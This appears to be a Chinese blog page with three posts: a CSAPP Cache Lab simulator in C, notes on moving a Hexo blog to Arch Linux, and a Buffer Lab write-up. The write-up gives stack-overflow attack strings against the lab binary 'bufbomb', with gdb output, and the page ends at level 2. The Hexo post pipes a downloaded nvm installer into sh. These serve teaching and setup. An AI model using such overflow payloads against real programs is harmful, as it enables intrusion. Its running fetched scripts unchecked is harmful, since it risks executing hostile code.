实验答案托管在我的GitHub

考完试之后一直比较颓废,本来想看完《深入理解计算机系统》的第5章——优化程序性能之后就赶快来做实验的,后来发现无论是Cache Lab还是Performance Lab都需要第6章——存储器层次结构的知识。看了几天的书,又磨蹭了几天,终于把Cache Lab的Part A写完了,总结如下。

实验简介

Cache Lab - Understanding Cache Memories主要是有关缓存的实验,对应于书本的第6章:存储器层次结构。主要阐明了缓存对于C语言程序的性能影响。

本实验主要分为两个部分。第一个部分要求完成一个C语言程序用来模拟缓存的行为;而第二个部分要求优化一个小的矩阵变换函数,使其具有尽可能小的缓存不命中率。

关于本实验的具体介绍详见实验讲义

实验介绍

实验讲义中的traces子文件夹下包含了一组reference trace files,用来作为评估Part A中缓存模拟器正确性的样例数据。这些文件是由valgrind生成的。

Valgrind是一个用于内存调试,内存泄露以及性能分析的软件。例如,我们输入如下的命令:

1
linux> valgrind --log-fd=1 --tool=lackey -v --trace-mem=yes ls -l

valgrind会在命令行中执行ls -l命令并且按照顺序记录该命令的每一次内存访问,并且将其输出到标准输出流中。

下面是一个valgrind的输出样例:

1
2
3
4
I 0400d7d4,8
M 0421c7f0,4
L 04f6b868,8
S 7ff0005c8,8

每一行的基本格式如下:

1
[空格]操作 地址,大小

操作代表了内存访问的种类,'I'代表的是指令加载,'L'代表的是数据加载,'S'代表的是数据存储,'M'代表的是数据修改(如一条数据加载之后紧跟着数据存储)。在'I'之前永远没有空格,而其他的操作前必定有前置空格。
地址代表的是一个64位的16进制内存地址。
大小指明了该次内存访问涉及的字节数。

实验要求 - Part A

在Part A中你需要在csim.c中实现一个LRU驱逐机制的缓存模拟器,该模拟器接收valgrind的trace作为输入,模拟一个缓存在该情况下的命中/不命中情况,并且输出所有的命中,不命中以及驱逐的次数。

本实验已经提供了一个用来参考的缓存模拟器csim-ref,其使用方式以及输出如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Usage: ./csim-ref [-hv] -s <s> -E <E> -b <b> -t <tracefile>
• -h: Optional help flag that prints usage info
• -v: Optional verbose flag that displays trace info
• -s <s>: Number of set index bits (S = 2 s is the number of sets)
• -E <E>: Associativity (number of lines per set)
• -b <b>: Number of block bits (B = 2 b is the block size)
• -t <tracefile>: Name of the valgrind trace to replay

linux> ./csim-ref -s 4 -E 1 -b 4 -t traces/yi.trace
hits:4 misses:5 evictions:3

linux> ./csim-ref -v -s 4 -E 1 -b 4 -t traces/yi.trace
L 10,1 miss
M 20,1 miss hit
L 22,1 hit
S 18,1 hit
L 110,1 miss eviction
L 210,1 miss eviction
M 12,1 miss eviction hit
hits:4 misses:5 evictions:3

对于Part A有以下的要求和限制:

  1. 所写的程序编译时不能有任何的警告
  2. 能应对不同s,E和b的缓存生成对应的结果,这要求使用malloc来为你的数据结构分配空间
  3. 不需要考虑指令加载的缓存情况
  4. 调用printSummary打印最终的结果
  5. 假定数据已经适当对齐,不会出现一次数据加载跨区块的情况。这样,你可以忽略trace中的大小

除此以外,实验的自学者讲义中还包含了一些提示,这里就不再赘述。

完成了Part A之后,可以用make clean && make进行编译,并且用./test-csim进行自动评分,总共有8组样例,共27分满分。

实验过程 - Part A

实验思路

整个模拟器在思路上可以进行如下的拆分:

1.命令行参数解析

由于该模拟器是命令行程序并且接受命令行参数,因此需要能对命令行参数进行解析和处理,这里推荐使用getopt进行参数的解析。并且根据不同的参数执行不同的控制流,并且处理一些基本的错误如参数缺失以及参数类型错误。

2.数据结构

这是整个模拟器最基本的部分。我们需要创建合适的数据结构来模拟缓存,该数据结构不仅要能模拟缓存的数据的实际组织方式(有效位,标志位以及行和块等等),还需要考虑到LRU的驱逐机制。

3.文件中内存访问记录的处理和解析

这个是模拟器中核心的部分。模拟器的功能就是从文件中接收内存访问记录,并且根据这些记录来模拟缓存的行为,操作我们所设计的缓存的数据结构。

实验代码

该代码仅供参考,很可能并不是一个非常好的解法。如果你也在面对同样的实验,请不要抄袭,毕竟抄袭是不会使你变得更强的:)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
/* include necessary headers */
#include "cachelab.h"

#include "getopt.h"
#include "stdlib.h"
#include "unistd.h"

#include "string.h"

#include "stdio.h"

#include "stdint.h"

/* cache struct definition */
typedef struct CSim_Cache_Entry {
char valid_bit;
uint64_t tag_bit;
}CSim_Cache_Entry;

typedef struct CSim_Cache_Set{
CSim_Cache_Entry * entries;
}CSim_Cache_Set;

typedef struct CSim_Cache {
/* basic arguments */
int block_offset;
int set_number;
int line_number;
/* masks and offsets */
int tag_offset;
int set_offset;
uint64_t tag_mask;
uint64_t set_mask;
/* cache */
CSim_Cache_Set * sets;
}CSim_Cache;

/* simulation result definition */
typedef struct CSim_Cache_Result {
int hit;
int miss;
int evict;
}CSim_Cache_Result;

/* operation type definition */
typedef enum CSIM_OPERATION_TYPE {
CSIM_OPERATION_TYPE_NONE,
CSIM_OPERATION_TYPE_MODIFY,
CSIM_OPERATION_TYPE_LOAD,
CSIM_OPERATION_TYPE_STORE,
}CSIM_OPERATION_TYPE;

/* operation result definition */
typedef enum CSIM_OPERATION_RESULT {
CSIM_OPERATION_RESULT_MISS,
CSIM_OPERATION_RESULT_HIT,
CSIM_OPERATION_RESULT_MISS_EVICTION,
}CSIM_OPERATION_RESULT;

/* error definition */
typedef enum CSIM_ERROR {
CSIM_OK = 0,
CSIM_ERROR_INVALID_OPTION,
CSIM_ERROR_MISSING_ARGUMENT,
CSIM_ERROR_FILE_CANNOT_OPEN,
CSIM_ERROR_OUT_OF_MEMORY,
}CSIM_ERROR;

/* macro definition for get a value given mask and offset */
#define csim_get_value(number, mask, offset) (((number) & (mask)) >> (offset))

/* function list */
/* message print functions */
void csim_print_help_info();
void csim_error_missing_argument();
void csim_error_file_cannot_open();
void csim_error_out_of_memory();
/* cache structure related functions */
CSim_Cache * csim_construct_cache(int set_number, int line_number, int block_offset);
void csim_deconstruct_cache(CSim_Cache ** pcache);
/* cache simulation function */
CSim_Cache_Result csim_parse_trace_file(CSim_Cache * cache, FILE * file_pointer, char verbose_flag);

/* global variable */
char * program_name = NULL;

void csim_print_help_info() {
printf("Usage: ./csim [-hv] -s <num> -E <num> -b <num> -t <file>\n");
printf("Options:\n");
printf(" -h Print this help message.\n");
printf(" -v Optional verbose flag.\n");
printf(" -s <num> Number of set index bits.\n");
printf(" -E <num> Number of lines per set.\n");
printf(" -b <num> Number of block offset bits.\n");
printf(" -t <file> Trace file.\n\n");
printf("Examples:\n");
printf(" linux> ./csim -s 4 -E 1 -b 4 -t traces/yi.trace\n");
printf(" linux> ./csim -v -s 8 -E 2 -b 4 -t traces/yi.trace\n");
}

void csim_error_missing_argument() {
printf("%s: Missing required command line argument\n", program_name);
csim_print_help_info();
}

void csim_error_file_cannot_open() {
printf("%s: No such file or directory\n", program_name);
}

void csim_error_out_of_memory() {
printf("%s: Out of memory\n", program_name);
}

CSim_Cache * csim_construct_cache(int set_number, int line_number, int block_offset) {
/* memory allocation */
CSim_Cache * cache = malloc(sizeof(CSim_Cache));
if (cache == NULL) {
csim_error_out_of_memory();
exit(CSIM_ERROR_OUT_OF_MEMORY);
}
/* configure basic arguments */
cache->set_number = set_number;
cache->line_number = line_number;
cache->block_offset = block_offset;
/* caculate masks and offsets */
cache->tag_mask = ((uint64_t)0xFFFFFFFFFFFFFFFF) << (block_offset + set_number);
cache->tag_offset = block_offset + set_number;
cache->set_mask = ((((((uint64_t)0xFFFFFFFFFFFFFFFF) << (64 - cache->tag_offset)) >> (64 - cache->tag_offset)) >> block_offset) << block_offset);
cache->set_offset = block_offset;
/* memory allocation for cache */
cache->sets = calloc((1 << set_number), sizeof(CSim_Cache_Set));
if (cache->sets == NULL) {
csim_error_out_of_memory();
exit(CSIM_ERROR_OUT_OF_MEMORY);
}
for (int index = 0 ; index < (1 << set_number) ; ++index) {
(cache->sets)[index].entries = calloc(line_number, sizeof(CSim_Cache_Entry));
if ((cache->sets)[index].entries == NULL) {
csim_error_out_of_memory();
exit(CSIM_ERROR_OUT_OF_MEMORY);
}
}
return cache;
}

void csim_deconstruct_cache(CSim_Cache ** pcache) {
/* release cache according to construct function */
CSim_Cache * temp = *pcache;
int set_number = temp->set_number;
for (int index = 0 ; index < set_number ; ++index) {
free((temp->sets)[index].entries);
}
free(temp->sets);
free(temp);
*pcache = NULL;
}

CSim_Cache_Result csim_parse_trace_file(CSim_Cache * cache, FILE * file_pointer, char verbose_flag) {
/* file I/O related */
char line[80];
char * line_pointer = NULL;
/* cache type and cache result */
CSIM_OPERATION_TYPE type;
CSIM_OPERATION_RESULT result;
/* address and set index & tag bis from it */
int address = 0;
int set = 0, tag = 0;
/* line number */
int line_number = cache->line_number;
/* simulation result */
CSim_Cache_Result summary = {0, 0, 0};
/* parsing process */
while (fgets(line, 80, file_pointer), feof(file_pointer) == 0) {
line_pointer = line;
type = CSIM_OPERATION_TYPE_NONE;
/* exclude instrction load */
if (*line_pointer++ == ' ') {
switch(*line_pointer++) {
case 'L':
type = CSIM_OPERATION_TYPE_LOAD;
if (verbose_flag) {
putchar('L');
}
break;
case 'S':
type = CSIM_OPERATION_TYPE_STORE;
if (verbose_flag) {
putchar('S');
}
break;
case 'M':
type = CSIM_OPERATION_TYPE_MODIFY;
if (verbose_flag) {
putchar('M');
}
break;
default:
type = CSIM_OPERATION_TYPE_NONE;
break;
}
result = CSIM_OPERATION_RESULT_MISS_EVICTION;
sscanf(line_pointer, "%x", &address);
if (verbose_flag) {
while ((*line_pointer) != '\n') {
putchar(*line_pointer++);
}
}
/* separate set and tag according to mask and offset */
set = csim_get_value(address, cache->set_mask, cache->set_offset);
tag = csim_get_value(address, cache->tag_mask, cache->tag_offset);
/* determine the cache result */
CSim_Cache_Entry * pentry = (cache->sets)[set].entries;
int index;
CSim_Cache_Entry temp;
for (index = 0; index < line_number ; ++index) {
if (!pentry[index].valid_bit) {
result = CSIM_OPERATION_RESULT_MISS;
break;
}
if (pentry[index].tag_bit == tag) {
result = CSIM_OPERATION_RESULT_HIT;
break;
}
}
/* simulate according to the result of cache behavior */
switch(result) {
case CSIM_OPERATION_RESULT_MISS:
if (verbose_flag) {
printf(" miss");
}
pentry[index].valid_bit = 1;
pentry[index].tag_bit = tag;
summary.miss++;
break;
case CSIM_OPERATION_RESULT_MISS_EVICTION:
if (verbose_flag) {
printf(" miss eviction");
}
pentry[0].tag_bit = tag;
temp = pentry[0];
for (index = 0 ; index < line_number - 1 ; ++index) {
pentry[index] = pentry[index + 1];
}
pentry[index] = temp;
summary.miss++;
summary.evict++;
break;
case CSIM_OPERATION_RESULT_HIT:
if (verbose_flag) {
printf(" hit");
}
temp = pentry[index];
for ( ; (index < line_number - 1) && (pentry[index + 1].valid_bit) ; ++index) {
pentry[index] = pentry[index + 1];
}
pentry[index] = temp;
summary.hit++;
break;
}
if (type == CSIM_OPERATION_TYPE_MODIFY) {
if (verbose_flag) {
printf(" hit");
}
summary.hit++;
}
if (verbose_flag) {
putchar('\n');
}
}
}
return summary;
}

int main(int argc, char *argv[]) {
/* variables for argument parsing */
char h = 0, v = 0, s = 0, E = 0, b = 0, t = 0;
int opt;
/* cache arguments */
int set_number = 0, line_number = 0, block_offset = 0;
/* cache */
CSim_Cache * cache = NULL;
/* file path */
char file_path[80];
/* verbose flag */
char verbose_flag = 0;
/* summary */
CSim_Cache_Result summary = {0, 0, 0};
/* pre-operation */
program_name = argv[0];
/* argument parsing */
while ((opt = getopt(argc, argv, "hvs:E:b:t:")) != -1) {
switch(opt) {
case 'h':
h = 1;
break;
case 'v':
v = 1;
verbose_flag = 1;
break;
case 's':
set_number = atoi(optarg);
if (set_number == 0) {
csim_error_missing_argument();
return CSIM_ERROR_MISSING_ARGUMENT;
}
s = 1;
break;
case 'E':
line_number = atoi(optarg);
if (line_number == 0) {
csim_error_missing_argument();
return CSIM_ERROR_MISSING_ARGUMENT;
}
E = 1;
break;
case 'b':
block_offset = atoi(optarg);
if (block_offset == 0) {
csim_error_missing_argument();
return CSIM_ERROR_MISSING_ARGUMENT;
}
b = 1;
break;
case 't':
t = 1;
strcpy(file_path, optarg);
break;
default:
csim_print_help_info();
return CSIM_ERROR_INVALID_OPTION;
break;
}
}
if (h == 1) {
csim_print_help_info();
return CSIM_OK;
}
if (v == 1) {
verbose_flag = 1;
}
if (!(s == 1 && E == 1 && b == 1 && t == 1)) {
csim_error_missing_argument();
return CSIM_ERROR_MISSING_ARGUMENT;
}
/* file processing */
FILE * file_pointer = fopen(file_path, "r");
if (file_pointer == NULL) {
csim_error_file_cannot_open(file_path);
return CSIM_ERROR_FILE_CANNOT_OPEN;
}
/* cache construction */
cache = csim_construct_cache(set_number, line_number, block_offset);
/* trace file parsing */
summary = csim_parse_trace_file(cache, file_pointer, verbose_flag);
/* summary */
printSummary(summary.hit, summary.miss, summary.evict);
/* post operations */
csim_deconstruct_cache(&cache);
fclose(file_pointer);
return CSIM_OK;
}

实验结果

自动评分脚本给出的输出如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
user@blackdragon ~/C/C/cachelab-handout> ./test-csim
Your simulator Reference simulator
Points (s,E,b) Hits Misses Evicts Hits Misses Evicts
3 (1,1,1) 9 8 6 9 8 6 traces/yi2.trace
3 (4,2,4) 4 5 2 4 5 2 traces/yi.trace
3 (2,1,4) 2 3 1 2 3 1 traces/dave.trace
3 (2,1,3) 167 71 67 167 71 67 traces/trans.trace
3 (2,2,3) 201 37 29 201 37 29 traces/trans.trace
3 (2,4,3) 212 26 10 212 26 10 traces/trans.trace
3 (5,1,5) 231 7 0 231 7 0 traces/trans.trace
6 (5,1,5) 265189 21775 21743 265189 21775 21743 traces/long.trace
27

TEST_CSIM_RESULTS=27

实验总结

由于在寒假的课程设计中已经使用过了命令行参数解析以及复杂的数据结构设计与实验,Part A总体上来说不是很难,我主要的精力花费在代码风格上,希望代码能尽量具有良好的架构以及可读性。

本部分中犯的错误有,直接根据s设置缓存的组数,而实际上的组数是2^s个。循环中由于手误导致出现死循环。没有搞清楚inline static关键字而导致的编译错误等等。存在知识的盲区也存在着粗心导致的错误,以后还需要更加注意。

评论和共享

近期将主力环境从macOS切换至Arch Linux,然后将博客从原环境迁移至现环境,本来以为过程会比较简单,结果却还是踩了几个坑,现在将配置过程中遇到的问题记录并且总结如下。

在Arch Linux中安装Git和Node.js

根据Hexo官方文档的说明,安装Hexo需要的依赖为Git和Node.js。
Git的安装比较简单,使用Arch Linux的默认包管理器pacman即可安装:

1
$ pacman -S git

Node.js官方文档推荐使用nvm安装,并且官方文档给出了安装脚本。
但是我的电脑使用的是伪fish——参考Arch Wiki,我通过的是通过给terminal emulator添加参数的方式进入fish的。
因此,我的默认shell仍然是bash。而该安装脚本在检测到我的默认shell之后直接将相关的导出环境变量的命令添加至了.bashrc,导致了进入fish之后由于相关的环境变量丢失无法找到nvm命令的问题。

  1. 第一种解决方法是采用Node.js的fish版安装脚本,该脚本托管在Github上,但是该脚本目前已不再被MAINTAINED,需要自行承担风险。
  2. 第二种解决方法是采用bass包装原始的nvm。

对于第二种解决方法,我们首先使用官方文档的安装脚本安装nvm:

1
$ wget -qO- https://raw.github.com/creationix/nvm/master/install.sh | sh

然后我们按照Github上的教程手动安装bass:
1
2
3
$ git clone https://github.com/edc/bass.git
$ cd bass
$ make install

最后我们建立如下的文件并重启终端,即可正常地在fish中使用nvm:
1
2
3
4
$ cat ~/.config/fish/functions/nvm.fish
function nvm
bass source ~/.nvm/nvm.sh --no-use ';' nvm $argv
end

使用nvm安装Node.js最新版本的命令如下:
1
$ nvm install v8.1.3

最后我们安装hexo:
1
$ npm install -g hexo-cli

hexo server报EMFILE错误

报错内容如下:

1
Error: EMFILE, too many open files

Hexo官网的问题解答中给出了如下描述:
虽然 Node.js 有非阻塞 I/O,同步 I/O 的数量仍被系统所限制,在生成大量静态文件的时候,您可能会碰到 EMFILE 错误,您可以尝试提高同步 I/O 的限制数量来解决此问题。
1
$ ulimit -n 10000

但是当我尝试使用ulimit的时候,却报了如下的错误:
1
Permission denied when changing resource of type 'Maximum number of open file descriptors'

在这之后进行了如下的尝试:

  1. 使用sudo无法运行ulimit,后su至root运行,虽然没有报错,但是使用ulimit -n查看发现修改失败。
  2. 尝试添加参数-S和-H,没有效果。
  3. 最后根据Arch Forum上的回答,修改了/etc/security/limits.conf文件并重启电脑,问题解决。

hexo server报ENOSPC错误

Hexo官网的问题解答中给出了如下描述:
它可以用过运行 $ npm dedupe 来解决,如果不起作用的话,可以尝试在 Linux 终端中运行下列命令:

1
$ echo fs.inotify.max_user_watches=524288 | sudo tee -a /etc/sysctl.conf && sudo sysctl -p

这将会提高你能监视的文件数量。
$ npm dedupe没有解决问题,最后使用上述的命令解决了问题。(注意在fish中,'&&'要用'COMMAND; and COMMAND'来替代)

评论和共享

实验答案托管在我的Github

Buffer Lab是《深入理解计算机系统》(第二版)中的缓冲区溢出实验,现在已经被Attack Lab替代。为了熟悉IA32的栈帧以及过程调用的原理,于2017年5月10日将该实验完成。

实验简介

Buffer Lab是传统的32位实验,现在已经被Attack Lab替代。在该实验中,需要利用缓冲区溢出漏洞生成攻击代码去修改一个32位的x86可执行程序的运行时行为。

该实验加深了对于栈规则的理解以及说明了缓冲区溢出漏洞可能造成的危险后果。

该实验同Attack Lab非常相似,但是仅仅采用了代码注入攻击作为攻击手段。同时,也要注意x86和x86_64有着不同的栈帧以及过程的调用方式。

IA32的栈帧以及过程调用

IA32的栈帧

IA32的栈帧同x86的栈帧相似,栈从高地址向低地址增长。寄存器%esp保存的是栈帧的栈顶(低地址),寄存器%ebp保存的是栈帧的栈底(高地址)。

调用者的栈帧主要包括了参数区以及返回地址。

被调用者的栈帧的栈底首先是保存的寄存器ebp值(指向调用者的栈底),然后是被保存的寄存器,局部变量以及临时空间,最后是参数构造区。

IA32的过程调用

IA32提供了如下的过程调用指令:

  • call 该指令将返回地址压入调用者的栈帧,并且将程序计数器%eip指向了被调用者的首地址
  • leave 该指令一般位于ret指令之前,等价于mov %ebp,%esp和pop %ebp,主要作用是回收栈空间,并且恢复栈顶(%esp)和栈底(%ebp)使得栈帧恢复为调用者栈帧
  • ret 该指令从栈中弹出返回地址并且让程序计数器eip指向该地址,使程序继续执行被调用者的下一条指令

IA32的过程调用遵循如下的规则:

  1. 首先执行call指令,call会在调用者的栈顶压入返回地址并且使程序计数器指向被调用者
  2. 然后保存调用者的栈底即push %ebp,并且将栈顶设置为被调用者的栈底即mov %esp,%ebp
  3. 分配局部的栈空间,主要用于临时变量的存储
  4. 执行被调用者的指令
  5. 执行leave,释放栈空间并重置栈顶(%esp)和栈底(%ebp),使得恢复为调用者栈帧
  6. 执行ret,过程返回并继续执行调用者的指令

IA32的参数传递规则:
同x86不同,IA32不使用寄存器进行参数的传递,IA32从右到左将参数依次压栈,然后调用相应的过程。

实验准备

实验讲义中主要包含了以下3个可执行文件:

  • bufbomb 你所要攻击的缓冲区炸弹程序
  • makecookie 根据你所输入的userid生成一个cookie
  • hex2raw 一个生成攻击字符串的工具

首先我们要输入userid生成一个cookie供后续使用,命令及结果如下:

1
2
3
user@BlackDragon ~/C/B/buflab-handout> ./makecookie BlackDragon > cookie                          
user@BlackDragon ~/C/B/buflab-handout> cat cookie
0x3dde924c

然后我们要将bufbomb反汇编以供后续攻击使用,命令及结果如下:

1
user@BlackDragon ~/C/B/buflab-handout> objdump -d bufbomb > bufbomb-disassemble

目标程序

目标程序的通过getbuf函数从标准输入流中读取字符串,并且该函数和Attack Lab中的函数一致,且具有缓冲区溢出的漏洞。这里不再赘述。

值得注意的是,bufbomb函数接受如下的参数:

  • -h 打印帮助信息
  • -u userid 你应该一直为程序提供该参数,因为远程计分服务器需要该参数,bufbomb也需要该参数去确定你生成的cookie以确定你的攻击满足了条件,并且若干关键的栈地址也和该userid生成的cookie有关
  • -n 进入’Nitro’模式,在阶段4中使用
  • -s 将你的攻击字符串作为结果提交至计分服务器

同Attack Lab一样,你需要使用hex2raw从攻击代码生成相应的攻击字符串,这里也不再赘述。

实验过程

阶段0:蜡烛(Candle)

在本实验中,关键函数getbuf被test函数调用,getbuf和test函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/* getbuf */
#define NORMAL_BUFFER_SIZE ??
int getbuf()
{
char buf[NORMAL_BUFFER_SIZE];
Gets(buf);
return 1;
}

/* test */
void test()
{
int val;
/* Put canary on stack to detect possible corruption */
volatile int local = uniqueval();

val = getbuf();

/* Check for corrupted stack */
if (local != uniqueval()) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
} else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}

现在我们希望test函数从getbuf返回时不执行下一条代码,而是跳转至函数smoke,该函数如下:

1
2
3
4
5
6
void smoke()
{
printf("Smoke!: You called smoke()\n");
validate(0);
exit(0);
}

首先我们需要确定缓冲区的大小,观察bufbomb-disassemble中getbuf的反汇编结果,如下:

1
2
3
4
5
6
7
8
9
10
080491f4 <getbuf>:
80491f4: 55 push %ebp
80491f5: 89 e5 mov %esp,%ebp
80491f7: 83 ec 38 sub $0x38,%esp
80491fa: 8d 45 d8 lea -0x28(%ebp),%eax
80491fd: 89 04 24 mov %eax,(%esp)
8049200: e8 f5 fa ff ff call 8048cfa <Gets>
8049205: b8 01 00 00 00 mov $0x1,%eax
804920a: c9 leave
804920b: c3 ret

注意到函数总共开辟了0x38=56个字节的栈空间,然后lea -0x28(%ebp),%eax mov %eax,(%esp)进行了参数字符串起始地址的构造,考虑到栈从高地址向低地址延伸,而ebp指向栈底,我们可以推测缓冲区总共是0x28=40个字节。

经过实际测试,可以确定缓冲区确实是40个字节。

下面我们观察反汇编代码,可以得出函数smoke的起始地址为0x08048c18,根据以上的信息,我们的攻击代码如下:

1
2
3
4
5
6
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
00 00 00 00 18 8c 04 08 /* 保存的%ebp以及返回地址 */

在该阶段中,由于smoke直接使得程序退出,所以我们不需要在意保存的%ebp的值,直接通过缓冲区溢出覆盖返回地址即可。

下面我们使用hex2raw生成攻击字符串并测试。结果如下:

1
2
3
4
5
6
7
user@BlackDragon ~/C/B/buflab-handout> cat level0.txt|./hex2raw|./bufbomb -u BlackDragon             
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
run with level1

阶段0完成。

阶段1:火花(Sparkler)

现在,我们希望getbuf返回时跳转至函数fizz同时能伪装成已经传递了cookie作为参数,该函数如下:

1
2
3
4
5
6
7
8
9
void fizz(int val)
{
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}

在该阶段中,我们需要注意IA32中,参数是通过调用者的栈进行传递的,我们观察fizz的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
08048c42 <fizz>:
8048c42: 55 push %ebp
8048c43: 89 e5 mov %esp,%ebp
8048c45: 83 ec 18 sub $0x18,%esp
8048c48: 8b 45 08 mov 0x8(%ebp),%eax
8048c4b: 3b 05 08 d1 04 08 cmp 0x804d108,%eax
8048c51: 75 26 jne 8048c79 <fizz+0x37>
8048c53: 89 44 24 08 mov %eax,0x8(%esp)
8048c57: c7 44 24 04 ee a4 04 movl $0x804a4ee,0x4(%esp)
8048c5e: 08
8048c5f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c66: e8 55 fd ff ff call 80489c0 <__printf_chk@plt>
8048c6b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c72: e8 04 07 00 00 call 804937b <validate>
8048c77: eb 18 jmp 8048c91 <fizz+0x4f>
8048c79: 89 44 24 08 mov %eax,0x8(%esp)
8048c7d: c7 44 24 04 40 a3 04 movl $0x804a340,0x4(%esp)
8048c84: 08
8048c85: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c8c: e8 2f fd ff ff call 80489c0 <__printf_chk@plt>
8048c91: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048c98: e8 63 fc ff ff call 8048900 <exit@plt>

从上述反汇编代码的第1行第4行和第5行,我们可以知道函数fizz的起始地址为0x08048c42,val保存在0x8(%ebp)中,cookie保存在固定的地址0x804d108中。根据以上的信息,我们的攻击代码如下:

1
2
3
4
5
6
7
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
00 00 00 00 42 8c 04 08 /* 保存的%ebp以及返回地址 */
00 00 00 00 4c 92 de 3d /* cookie */

在该攻击代码中,前48个字节同阶段0一样,只是将返回地址改成了了函数fizz的起始地址。而最后8个字节则是用来伪装成传递参数的。注意函数从getbuf返回后并不会真正的调用fizz函数,而只是依次的开始执行fizz的指令。

因此,从getbuf返回直到获取到参数val这整个过程中,首先getbuf返回会执行复位操作,将栈顶(%esp)指向第40个字节处(从0开始计算,下同),然后将0x0pop至栈底(%ebp),最后根据返回地址跳转至fizz并pop。现在栈顶(%esp)指向了第48个字节。紧接着,直接开始执行fizz的指令,将%ebp(0)入栈,直至执行到mov 0x8(%ebp),%eax,栈顶(%esp)指向第44个字节。所以,我们的cookie应当放在第(44+8=52)个字节处,直到第55个字节为止。

下面我们使用hex2raw生成攻击字符串并测试,如下:

1
2
3
4
5
6
user@BlackDragon ~/C/B/buflab-handout> cat level1.txt|./hex2raw|./bufbomb -u BlackDragon
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Fizz!: You called fizz(0x3dde924c)
VALID
NICE JOB!

阶段1完成。

阶段2:爆竹(FireCracker)

bufbomb中包含了一个全局变量global_value以及函数bang,如下:

1
2
3
4
5
6
7
8
9
10
int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}

在该阶段中,我们希望函数能在返回时跳转至bang,但是在这之前,要将全局变量global_value的值设置为cookie。

该阶段同Attack Lab第1部分的等级2相似,我们需要将程序计数器%eip指向栈,在栈上执行相应的代码,实现相关的修改,最后从栈上返回至函数bang。

首先我们需要确定在进入getbuf时的栈地址,具体的命令和操作如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
user@BlackDragon ~/C/B/buflab-handout> gdb bufbomb                                           
GNU gdb (GDB) 7.12.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bufbomb...(no debugging symbols found)...done.
(gdb) break getbuf
Breakpoint 1 at 0x80491fa
(gdb) run -u BlackDragon
Starting program: /home/user/CSAPPLabs/BufferLab/buflab-handout/bufbomb -u BlackDragon
Userid: BlackDragon
Cookie: 0x3dde924c

Breakpoint 1, 0x080491fa in getbuf ()
(gdb) disas
Dump of assembler code for function getbuf:
0x080491f4 <+0>: push %ebp
0x080491f5 <+1>: mov %esp,%ebp
0x080491f7 <+3>: sub $0x38,%esp
=> 0x080491fa <+6>: lea -0x28(%ebp),%eax
0x080491fd <+9>: mov %eax,(%esp)
0x08049200 <+12>: call 0x8048cfa <Gets>
0x08049205 <+17>: mov $0x1,%eax
0x0804920a <+22>: leave
0x0804920b <+23>: ret
End of assembler dump.
(gdb) print /x $esp
$1 = 0x55682f18
(gdb) print /x $ebp
$2 = 0x55682f50

通过在gdb中添加断点并观察,我们可以确定在执行函数getbuf时,栈底(%ebp)的值为0x55682f50。

